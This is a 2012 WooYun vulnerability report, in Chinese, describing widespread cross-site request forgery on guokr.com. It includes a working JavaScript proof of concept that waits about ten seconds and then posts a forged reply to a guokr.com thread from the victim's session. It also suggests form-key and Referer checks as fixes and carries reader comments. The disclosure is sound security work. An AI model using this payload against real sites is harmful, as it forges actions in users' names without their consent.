当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-011556

漏洞标题：果壳网架构设置缺陷导致CSRF泛滥

相关厂商：果壳传媒

漏洞作者： _Evil

提交时间：2012-08-30 16:04

修复时间：2012-09-04 16:05

公开时间：2012-09-04 16:05

漏洞类型：CSRF

危害等级：低

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-08-30： 细节已通知厂商并且等待厂商处理中
2012-09-04： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

果壳网架构设置缺陷导致CSRF泛滥。求礼物的。。

详细说明：

到处是CSRF啊。
http://www.guokr.com/post/327306/?replypage=1#reply1895695
http://www.guokr.com/post/327306/?replypage=1#reply1895697



这是个普通证明,果壳网回复需要10秒嗯? 加关注+留言。。。。

漏洞证明：

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 
'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 
'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request; 
setTimeout("ajax()",10500);
function ajax(){
var url="http://www.guokr.com/reply/new/post/327306/"; //请求地址
var params ="I love you! Happiness and wealth, and the inner link!";  //post内容
xmlhttp.open("post", url, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(params);
}


和虫子有得比 哈哈。

修复方案：

formkey 和Referer验证 可以和同行(zhihu.com)讨论下技术,他们防范不错~ 或者联系菜鸟我。

版权声明：转载请注明来源 _Evil@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-09-04 16:05

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2012-08-30 16:34 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    csrf的问题并不在于技术，而在于数据，我觉得洞主这个不见得能够对数据产生多大的危害

  2. 2012-08-30 16:50 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @xsser 很有道理。 得搞点删除帖子 之类的。 可惜管理员一直不鸟我。。

  3. 2012-08-30 17:16 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    16点这个页面就被百度抓走了。。。神速啊，乌云页面2小时内全部抓走。。

  4. 2012-09-04 18:54 | horseluke ( 普通白帽子 | Rank:116 漏洞数:18 | Realize the dream in earnest.)

    @_Evil 是当年的小铸？@xsser 调教有方啊